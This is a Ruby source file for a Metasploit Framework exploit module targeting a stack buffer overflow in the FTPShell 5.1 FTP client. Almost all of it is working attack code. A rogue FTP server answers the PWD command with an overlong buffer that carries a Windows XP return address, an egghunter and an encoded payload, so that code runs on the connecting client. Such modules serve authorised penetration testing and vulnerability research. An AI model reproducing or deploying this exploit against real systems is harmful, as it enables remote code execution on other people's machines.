87 lines
2.1 KiB
Ruby
87 lines
2.1 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::FtpServer
|
|
include Exploit::Remote::Egghunter
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'FTPShell 5.1 Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
|
|
triggered when the ftp clients tries to process an overly response to a PWD command.
|
|
This will overwrite the saved EIP and structured exception handler.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'corelanc0d3r' #found bug, wrote the exploit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => "$Revision$",
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], #jmp ebp [setupapi.dll]]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Oct 12 2010',
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
def setup
|
|
super
|
|
end
|
|
|
|
def on_client_unknown_command(c,cmd,arg)
|
|
c.put("200 OK\r\n")
|
|
end
|
|
|
|
|
|
def on_client_command_pwd(c,arg)
|
|
|
|
badchars = ""
|
|
eggoptions =
|
|
{
|
|
:checksum => true,
|
|
:eggtag => "w00t"
|
|
}
|
|
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
|
|
|
|
print_status(" - PWD command -> Sending payload")
|
|
junk = "A" * target['Offset']
|
|
nops = "A" * 10
|
|
tweakhunter = "\x5a\x5a"
|
|
eip = [target.ret].pack('V')
|
|
buffer = junk + eip + nops + tweakhunter + hunter + egg
|
|
pwdoutput = "257 \"/" + buffer+ "\" is current directory\r\n"
|
|
c.put(pwdoutput)
|
|
print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
|
|
return
|
|
|
|
end
|
|
|
|
end |